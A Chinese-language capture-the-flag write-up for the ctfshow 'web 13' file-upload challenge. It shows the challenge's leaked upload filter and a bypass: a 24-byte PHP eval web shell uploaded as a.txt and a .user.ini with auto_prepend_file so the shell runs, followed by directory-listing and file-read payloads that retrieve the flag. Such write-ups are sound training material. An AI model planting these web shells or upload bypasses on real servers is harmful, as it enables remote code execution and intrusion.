ctfshow-web 13


web 13

打開環境,我們來看一下,這是一道典型的文件上傳的題。那我們就來做一下。

首先那肯定是要上傳一句話木馬的。那我們先試着上傳一句話木馬。結果提示出錯了。

這是怎么回事呢。那我們找一下源碼吧。輸入/upload.php.bak便可將源碼下載下來。

 1 <?php 
 2     header("content-type:text/html;charset=utf-8");
 3     $filename = $_FILES['file']['name'];//獲取文件名
 4     $temp_name = $_FILES['file']['tmp_name'];
 5     $size = $_FILES['file']['size'];//獲取文件大小
 6     $error = $_FILES['file']['error'];
 7     $arr = pathinfo($filename);
 8     $ext_suffix = $arr['extension'];//獲取文件的擴展名
 9     if ($size > 24){
10         die("error file zise");
11     }
12     if (strlen($filename)>9){
13         die("error file name");
14     }
15     if(strlen($ext_suffix)>3){
16         die("error suffix");
17     }
18     if(preg_match("/php/i",$ext_suffix)){
19         die("error suffix");
20     }
21     if(preg_match("/php/i"),$filename)){
22         die("error file name");
23     }
24     if (move_uploaded_file($temp_name, './'.$filename)){
25         echo "文件上傳成功!";
26     }else{
27         echo "文件上傳失敗!";
28     }
29 
30  ?>

這家伙不僅過濾了php文件,而且還對上傳文件進行了限制。

就是你上傳的文件,內容大小得小於等於24,擴展名不長度得小於等於3,文件名得小於等於9,擴展名和文件名里都不能出現php。我的天。

這怎么解決。首先我們的內容肯定是一句話木馬。這已經超出了長度。這樣的話就把它改成 <?php eval($_GET['a']); ,然后文件名為a.txt.這樣的話就符合條件了吧。當然只上傳這個是達不到我們的目的的。所以我們還需要上傳一個文件。 .user.ini  它是PHP 支持基於每個目錄的 INI 文件配置,而且如果你的 PHP 以模塊化運行在 Apache 里,則用 .htaccess 文件有同樣效果。

然后我們再此文件里寫入 auto_prepend_file =a.txt 

auto_prepend_file是什么是意思呢。它就是設置頁眉和腳注,可以保證它們在每個頁面的前后被載入。使用這些指令包含的文件可以像使用include()語句包含的文件一樣

有了這條件命令后。我們就可以執行a.txt的內容了。

然后我們先上傳文件a.txt

然后再上傳.urser.ini文件

上傳成功之后 我們先訪問phpinfo()進行測試。

 

 

 看來上傳成功了。

那好我們來訪問一下目錄。 ?a=print_r(scandir(".")); 

 

 

 發現此文件,讀取一下 ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

 

 

 拿到flag

參考文章:

  auto_prepend_file與auto_append_file

  web 13

感謝兩位師傅!!!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM